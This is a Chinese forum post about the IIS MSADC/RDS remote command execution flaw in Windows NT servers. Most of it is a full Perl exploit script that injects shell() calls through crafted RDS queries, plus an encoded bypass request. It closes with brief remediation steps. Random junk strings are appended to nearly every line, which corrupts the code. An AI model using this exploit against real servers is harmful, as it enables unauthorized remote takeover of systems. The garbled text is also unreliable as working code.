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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) *FINNNARB  
:jJ;&t^^  
涉及程序: #[Z1W8e  
Microsoft NT server k2"DFXsv  
c]eDTbXd  
描述: !4"!PrZDB  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 zq:+e5YT?T  
0ESxsba  
详细: n!Ic.T3PA  
如果你没有时间读详细内容的话,就删除: Xscm>.di  
c:\Program Files\Common Files\System\Msadc\msadcs.dll 9*thqs3J#d  
有关的安全问题就没有了。 g!#M0  
d(=*@epjR  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 Y<x;-8)*  
#><P28m  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 ^:Mal[IR  
关于利用ODBC远程漏洞的描述,请参看: JQo"<<[  
JGJy_.C  
http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ?4[IIX-  
oPqWL9]  
2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 i;CVgdQ8  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp fP:n=A{  
v$P<:M M  
这里不再论述。 RS8tE(  
mMz^I7$  
3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: y7x&/2  
)1EF7.|  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset pX\Y:hCug  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! FLb Q#c\  
1TOT}h5  
||}k99y +  
#将下面这段保存为txt文件,然后: "perl -x 文件名" Epl\(  
K5h2 ~  
#!perl aX)k (*|  
# aJ4y%Gy?  
# MSADC/RDS 'usage' (aka exploit) script ^|P/D  
# &| d6  
# by rain.forest.puppy (=T%eJ61  
# b_'VWd:am  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me "-WEUz  
# beta test and find errors! Bb~Q]V=x;  
4YT d  
use Socket; use Getopt::Std; ; qQ* p  
getopts("e:vd:h:XR", \%args); ^#V7\;v$G  
cLZaQsS%  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; ~!PaBS3A  
Xcy Xju#"p  
if (!defined $args{h} && !defined $args{R}) { c=^A3[AM  
print qq~ [}GPo0GY  
Usage: msadc.pl -h <host> { -d <delay> -X -v } [!<W{ ($5  
-h <host> = host you want to scan (ip or domain) M9t`w-@_w  
-d <seconds> = delay between calls, default 1 second /^2&@P7  
-X = dump Index Server path table, if available wT taj08D  
-v = verbose A#&,S4Wi|  
-e = external dictionary file for step 5 4P>4d +  
Dh4 EP/=z  
Or a -R will resume a command session 1 m>x5Dbk!  
^z _m<&r  
~; exit;} #},4m  
DJ!<:9FD  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; R)>F*GsR  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} ?}n\&|+  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} &nRbI:R  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); \i2S'AblYq  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} =!~6RwwwY  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } odm!}stus  
8+?|4'\`  
if (!defined $args{R}){ $ret = &has_msadc; {SQ#n@Q&$  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} w]% |^:  
/'ukeK+'  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" G2,9$8qE  
. "cmd /c "; H2cY},  
$in=<STDIN>; chomp $in; wH<'*>/  
$command="cmd /c " . $in ; 8iIz!l%O  
-(Z%?]+  
if (defined $args{R}) {&load; exit;} 3jJd)C R  
/Cl=;^)  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; Gy3t   
&try_btcustmr; d~>d\K%v  
,WA[HwY-  
print "\nStep 2: Trying to make our own DSN..."; H[u[3  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; WlF}R\N!  
T\ cJn>kCn  
print "\nStep 3: Trying known DSNs..."; Cb1fTl%  
&known_dsn; l)d(N7HME  
4(hHp6}b  
print "\nStep 4: Trying known .mdbs..."; W pdn^=dhL  
&known_mdb; 1B5 ]1&M  
?kF_C,k/>N  
if (defined $args{e}){ #cF ?a5  
print "\nStep 5: Trying dictionary of DSN names..."; CkHifmc(u-  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } e*Y>+*2y  
B< 6E'  
print "Sorry Charley...maybe next time?\n"; zDD1EycH  
exit; F.DR Gi.i  
(c'kZ9&  
############################################################################## T``O!>J  
kgQyG[u  
sub sendraw { # ripped and modded from whisker Ln4zy*v{  
sleep($delay); # it's a DoS on the server! At least on mine... aOOkC&%  
my ($pstr)=@_;  (H*EZ  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || z+=wql*Eo  
die("Socket problems\n"); 6z-&Zu7@  
if(connect(S,pack "SnA4x8",2,80,$target)){ >}p'E9J?r  
select(S); $|=1; 4Gsbcl{  
print $pstr; my @in=<S>; 5RUhrE   
select(STDOUT); close(S); 5TB==Fj ?  
return @in; c[6=&  
} else { die("Can't connect...\n"); }} Rr!oT?6J?  
Pi!3wy  
############################################################################## DEFh&n  
zg[.Pws:E  
sub make_header { # make the HTTP request 1%^d <%,]  
my $msadc=<<EOT kvoEnwBe_  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 )d^b\On  
User-Agent: ACTIVEDATA SR<*yO  
Host: $ip Ia'm9Z*  
Content-Length: $clen 0\X'a}8Bu  
Connection: Keep-Alive O\5q_>]  
?04$1n:  
ADCClientVersion:01.06 WNa#X]*E)  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 /DC\F5 G  
X^% E"{!nU  
--!ADM!ROX!YOUR!WORLD! Aq5@k\[  
Content-Type: application/x-varg G^6\OOSy  
Content-Length: $reqlen D$vP&7pOr4  
B'U;i5u4'  
EOT aP}%&{iC*  
; $msadc=~s/\n/\r\n/g; h]w5N2$}?  
return $msadc;} _ITA$ #  
,<cF<9h  
############################################################################## &# w~S~  
'-?t^@  
sub make_req { # make the RDS request !vQDPLBL  
my ($switch, $p1, $p2)=@_; n#fc=L1U  
my $req=""; my $t1, $t2, $query, $dsn; &58TX[#  
x#0B "{  
if ($switch==1){ # this is the btcustmr.mdb query Q|1X|_hs  
$query="Select * from Customers where City=" . make_shell(); G#(+p|n  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !J%m7 A  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} )tB1jcI;  
.o_?n.H'&  
elsif ($switch==2){ # this is general make table query eN?:3cP#l  
$query="create table AZZ (B int, C varchar(10))"; "?Mf%u1R  
$dsn="$p1";} a#NP69  
^;xO-;q  
elsif ($switch==3){ # this is general exploit table query *]uj0@S  
$query="select * from AZZ where C=" . make_shell(); (d@ =   
$dsn="$p1";} 1 xu2$x.b  
h=`1sfz  
elsif ($switch==4){ # attempt to hork file info from index server UZ qQ|3  
$query="select path from scope()"; : ~R:[T2P  
$dsn="Provider=MSIDXS;";} y9@DlK  
,x. 2kb  
elsif ($switch==5){ # bad query 8g!C'5  
$query="select"; A[mm_+D>  
$dsn="$p1";} Pp9nilb_(  
Hc"FW5R  
$t1= make_unicode($query); (qQ|s@O  
$t2= make_unicode($dsn); |vLlEN/S  
$req = "\x02\x00\x03\x00"; KDmzKOl  
$req.= "\x08\x00" . pack ("S1", length($t1)); GSh~j-C'  
$req.= "\x00\x00" . $t1 ; zV<vwIUrr  
$req.= "\x08\x00" . pack ("S1", length($t2)); 4\?GA`@  
$req.= "\x00\x00" . $t2 ; C $r]]MSj  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; G'\x9%  
return $req;} e52y}'L  
$sTvXf:g  
############################################################################## kl90w  
|n_es)A  
sub make_shell { # this makes the shell() statement ^^m3 11=  
return "'|shell(\"$command\")|'";} k"V@9q;*  
HNj6Iw  
############################################################################## 3|FZ!8D  
f|&ga'5g&  
sub make_unicode { # quick little function to convert to unicode iOO1\9{@  
my ($in)=@_; my $out; >FRJvZ6  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } Nsd7?|@HI  
return $out;} 5csqu^/y  
y,OwO4+y\  
############################################################################## g\n0v~T+  
@jp}WwC/  
sub rdo_success { # checks for RDO return success (this is kludge) eK]$8l|LI  
my (@in) = @_; my $base=content_start(@in); IUJRP  
if($in[$base]=~/multipart\/mixed/){ NL-<K  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} !]v&/  
return 0;} NxyrP**j  
g^qbd$}  
############################################################################## FlPPz  
+l,6}tV9  
sub make_dsn { # this makes a DSN for us ?g5u#Q> !  
my @drives=("c","d","e","f"); ONkHHyT  
print "\nMaking DSN: "; M\f1]L|8d  
foreach $drive (@drives) { ]mW)T0_  
print "$drive: "; F|seBBu  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . &d8z`amP  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" =`oQcIkz  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); ,PyA$Z  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; \EC=#E(  
return 0 if $2 eq "404"; # not found/doesn't exist pSLv1d"9{  
if($2 eq "200") { D#~S< >u@  
foreach $line (@results) { <g^!xX<r?  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}} <f'2dT@6  
} return 0;} -}W `  
WRWcB  
############################################################################## mu!hD^fw  
NSPa3NE  
sub verify_exists { mh4`,N  
my ($page)=@_; tl:+wp7P`  
my @results=sendraw("GET $page HTTP/1.0\n\n"); ~D9VjXfL)  
return $results[0];} )= ,Lfj8x  
\AT]$`8@_  
############################################################################## fy(i<L Z  
nOd'$q  
sub try_btcustmr { DsY$  
my @drives=("c","d","e","f"); #n[1%8l,  
my @dirs=("winnt","winnt35","winnt351","win","windows"); Yp_R+a^  
ppBIl6  
foreach $dir (@dirs) { P 3CzX48^  
print "$dir -> "; # fun status so you can see progress $)5-}NJf'  
foreach $drive (@drives) { 5G-}'-R  
print "$drive: "; # ditto zJp@\Yo+  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; A|D]e)/6+B  
$reqlenlen=length( "$reqlen" ); }#rdMh  
$clen= 206 + $reqlenlen + $reqlen; 4G%!t`? q  
~<%/)d0  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); -C7IUat<  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} t!g9,xG<X  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} Px>Gc:!>  
nn"Wn2ciS  
############################################################################## ^rKA=siz  
Y\qiYra  
sub odbc_error { X2MQa:yksP  
my (@in)=@_; my $base; ? 8d7/KZO  
my $base = content_start(@in); `y2 6OYo  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this DM-8azq $  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; L-LN+6r (#  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; BE;J/  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; Vo\RtM/6{  
return $in[$base+4].$in[$base+5].$in[$base+6];} p:hzLat~  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; eqyZ|6  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . >}43xIRRCq  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} H9["ZRL,Q  
r*'X]q|L+  
############################################################################## qX GAlCq@  
::xH C4tw  
sub verbose { D{](5?$`|  
my ($in)=@_; f|*vWHSM  
return if !$verbose; g* NKY`,  
print STDOUT "\n$in\n";} CTbz?Kn  
%("Bq"Q8  
############################################################################## NjCdkT&g  
cdDMV%V  
sub save { zKi5e+\  
my ($p1, $p2, $p3, $p4)=@_; ;9{x""  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; Kzs]+Cl  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; x=>+.'K  
close OUT;} ">n38:?R  
l#FW#`f  
############################################################################## vFK&63  
!*0\Yi,6  
sub load { ERW>G {+  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; 93Yo }6>  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); fwojFS.K  
@p=<IN>; close(IN); [I;5V=bKW  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); 1GnT^u y/  
$target= inet_aton($ip) || die("inet_aton problems"); 4DVkycM  
print "Resuming to $ip ..."; u#8J`%g  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; b"ypS7 _  
if($p[1]==1) { n.{+\M6k  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; )U`"3R  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; VK*2`Z1  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); H:X=v+W  
if (rdo_success(@results)){print "Success!\n";} 'JBf*p".  
else { print "failed\n"; verbose(odbc_error(@results));}} F Ty`#*7Ul  
elsif ($p[1]==3){ x9#>0 4s  
if(run_query("$p[3]")){ +$#YW5wy  
print "Success!\n";} else { print "failed\n"; }}  '8NKrI  
elsif ($p[1]==4){ 1@nGD<,.  
if(run_query($drvst . "$p[3]")){ %`%xD>![  
print "Success!\n"; } else { print "failed\n"; }} O?8^I<  
exit;} {(7D=\eU  
uv++Kj!  
############################################################################## 3dnL\AqC  
g& y R-  
sub create_table { c3gy{:lb  
my ($in)=@_; M-!eL<  
$reqlen=length( make_req(2,$in,"") ) - 28; 41<.e` {  
$reqlenlen=length( "$reqlen" ); !@ml^&hP  
$clen= 206 + $reqlenlen + $reqlen; aW8Bx\q  
my @results=sendraw(make_header() . make_req(2,$in,"")); =a`l1zn8=  
return 1 if rdo_success(@results); rSIb1zJ  
my $temp= odbc_error(@results); verbose($temp);  8@)/a  
return 1 if $temp=~/Table 'AZZ' already exists/; Hp_3BulS<  
return 0;} iQczvn)"m  
<qzHMy Ai  
############################################################################## 27-<q5q  
Ns-cT'1-  
sub known_dsn { G .~Psw#  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go *v'&i) J  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", "hU'o&  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", {4Q4aL(  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); v/]Bo[a  
yA%(!v5UT  
foreach $dSn (@dsns) { EO'[AU%~  
print "."; "`DCXn#mB  
next if (!is_access("DSN=$dSn")); krTH<- P  
if(create_table("DSN=$dSn")){ bA-=au?o5  
print "$dSn successful\n"; A/W-'%+`  
if(run_query("DSN=$dSn")){ (lhbH]I  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { P5ii3a?R  
print "Something's borked. Use verbose next time\n";}}} print "\n";} X6mY#T'fQ  
|X9YVZC  
############################################################################## G?)vqmJ%  
Eb`U^*A  
sub is_access { W:uIG-y~  
my ($in)=@_; v7O&9a;  
$reqlen=length( make_req(5,$in,"") ) - 28; 9n!<M)E  
$reqlenlen=length( "$reqlen" ); 4 uv'l3  
$clen= 206 + $reqlenlen + $reqlen; =6t)-53  
my @results=sendraw(make_header() . make_req(5,$in,"")); LSQ2pB2V  
my $temp= odbc_error(@results); <lM]c  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); tr2@{xb  
return 0;} M:W9h+z  
XF1x*zc  
############################################################################## 0X\,!FL  
&oevgG  
sub run_query { 8jxgSB",  
my ($in)=@_; dOq*W<%  
$reqlen=length( make_req(3,$in,"") ) - 28; .J3lo:  
$reqlenlen=length( "$reqlen" ); S @\Pki+n[  
$clen= 206 + $reqlenlen + $reqlen; yzhr"5_  
my @results=sendraw(make_header() . make_req(3,$in,"")); or/Y"\-!  
return 1 if rdo_success(@results); YJ]]6 K+  
my $temp= odbc_error(@results); verbose($temp); 3OV#H%  
return 0;} KIdlndGs  
6Flc4L8JU  
############################################################################## h"KN)xi$  
:8U=L'4  
sub known_mdb { 0-EhDGa]r  
my @drives=("c","d","e","f","g"); 6hSj)  
my @dirs=("winnt","winnt35","winnt351","win","windows"); F;jl0)fBR=  
my $dir, $drive, $mdb; $kJvPwRO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; GLA,,i'i9  
@R>4b  
# this is sparse, because I don't know of many +nRO<  
my @sysmdbs=( "\\catroot\\icatalog.mdb", mq~7v1kw  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", KcVCA    
"\\system32\\certmdb.mdb", w,]cFT  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% b/oJ[Vf  
p"/1Kwqx  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", &C3J6uCm+  
"\\cfusion\\cfapps\\forums\\forums_.mdb", /reSU 2  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", wH[@#UP3l  
"\\cfusion\\cfapps\\security\\realm_.mdb", 7|3Z+#|T  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", %;9f$:U  
"\\cfusion\\database\\cfexamples.mdb", !z X`M1J  
"\\cfusion\\database\\cfsnippets.mdb", /ocdAW`0  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", yNAvXkp  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", ;Gxp'y  
"\\cfusion\\brighttiger\\database\\cleam.mdb", 3a9Oj'd1M  
"\\cfusion\\database\\smpolicy.mdb", nH*U  
"\\cfusion\\database\cypress.mdb", vk+TWf  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", zT0rvz1),M  
"\\website\\cgi-win\\dbsample.mdb", +o)S.a+7  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", n.,\Z(l|0  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Y_S^B)y  
); #these are just ["GC   
foreach $drive (@drives) { b&p*IyJR  
foreach $dir (@dirs){ ?s(%3_h  
foreach $mdb (@sysmdbs) { UNq!|  
print "."; 4xU[oaa  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ ~f 2H@#  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; !1!;}uzt  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ G@h6>O  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; ]i\D*,FfU  
} else { print "Something's borked. Use verbose next time\n"; }}}}} t/HMJ  
Uf{cUY,j_  
foreach $drive (@drives) { ]7v-qd  
foreach $mdb (@mdbs) { _h7!  
print "."; +Tde#T&[  
if(create_table($drv . $drive . $dir . $mdb)){ R3wK@D  
print "\n" . $drive . $dir . $mdb . " successful\n"; !Pt|Hk dr  
if(run_query($drv . $drive . $dir . $mdb)){ }S3m wp<Y  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; ^-PlTmT  
} else { print "Something's borked. Use verbose next time\n"; }}}} (w?@qs!  
} ^~|P[}  
_;$VH4(BI  
############################################################################## +60zJ 4  
&fq-U5zH  
sub hork_idx { Skl1%`  
print "\nAttempting to dump Index Server tables...\n"; '@RlKMnN  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; aB-*l %x  
$reqlen=length( make_req(4,"","") ) - 28; :x]gTZ?  
$reqlenlen=length( "$reqlen" ); +bI&0`  
$clen= 206 + $reqlenlen + $reqlen; ;%odN d  
my @results=sendraw2(make_header() . make_req(4,"","")); 3zY"9KUN  
if (rdo_success(@results)){ pq+Gsu1^  
my $max=@results; my $c; my %d; md_aD  
for($c=19; $c<$max; $c++){ VR2BdfKU,  
$results[$c]=~s/\x00//g; i 4lR$]@  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; WZdA<<,:o  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; 8(q4D K\5u  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; z m\=4^X  
$d{"$1$2"}="";} w<&Nn`V  
foreach $c (keys %d){ print "$c\n"; } ]K?z|&N|HK  
} else {print "Index server doesn't seem to be installed.\n"; }} SQWwxFJ  
EU TTeFp  
############################################################################## beEdH>  
bSU9sg\  
sub dsn_dict { 2X;,s`)  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); /!oi`8D  
while(<IN>){ ${ad[hs  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; J %jf uj  
next if (!is_access("DSN=$dSn")); AnG/A!G  
if(create_table("DSN=$dSn")){ _sbZyL  
print "$dSn successful\n"; ~<Uwum v  
if(run_query("DSN=$dSn")){ V' "p a  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { o;M"C[  
print "Something's borked. Use verbose next time\n";}}} / _-?NZ  
print "\n"; close(IN);} SC74r?N FA  
Z%6I$KAN8  
############################################################################## k# ZO4  
9s6, &'  
sub sendraw2 { # ripped and modded from whisker Xoml  
sleep($delay); # it's a DoS on the server! At least on mine... 52/^>=t  
my ($pstr)=@_; "d/x`Dx  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || ik_Ll|  
die("Socket problems\n"); 724E(?>J  
if(connect(S,pack "SnA4x8",2,80,$target)){ }E[S%W[  
print "Connected. Getting data"; tx}{E<\>$  
open(OUT,">raw.out"); my @in; }:5r#Cd  
select(S); $|=1; print $pstr; &`Q0&8d5  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} Xl;u  
close(OUT); select(STDOUT); close(S); return @in; 0vQ@n7  
} else { die("Can't connect...\n"); }} fOm=#:O  
&9, 6<bToP  
############################################################################## {$bAs9L  
(ScL  C  
sub content_start { # this will take in the server headers Xgn^)+V:  
my (@in)=@_; my $c; 5@P2Z]Q  
for ($c=1;$c<500;$c++) { \;I%>yOIu  
if($in[$c] =~/^\x0d\x0a/){ $dFEC}1t  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } :g}WN  
else { return $c+1; }}} Ui@Q&%b  
return -1;} # it should never get here actually }N:0%Gk[;  
.T L0cfTo  
############################################################################## bqFGDmu6'  
*I(>[m!  
sub funky { TjncW/\Z  
my (@in)=@_; my $error=odbc_error(@in); Dsw(ti`@  
if($error=~/ADO could not find the specified provider/){ ])'22sY  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; 2Prr:k  
exit;} .AH#D}m  
if($error=~/A Handler is required/){ ;t:B:4r(j  
print "\nServer has custom handler filters (they most likely are patched)\n"; "639oB  
exit;} ?lnX."eAdB  
if($error=~/specified Handler has denied Access/){ us"SM\X#  
print "\nServer has custom handler filters (they most likely are patched)\n"; uNxR#S  
exit;}} hvQOwA;e  
\,!FL))yC  
############################################################################## 29z+<?K{  
epJVs0W  
sub has_msadc { fBR,Oneo  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); I{JU<A,&  
my $base=content_start(@results); 8GN0487H  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); gnlGL[r|  
return 0;} A/lxXy}D  
 [53rSr  
######################## F +D2 xN@  
]$Ky ZHj{  
_' Xt  
解决方案: MM3X! tq  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll uwsGtgd&  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 L}P<iB   
wr~# rfH  
拿出来充数 哈哈
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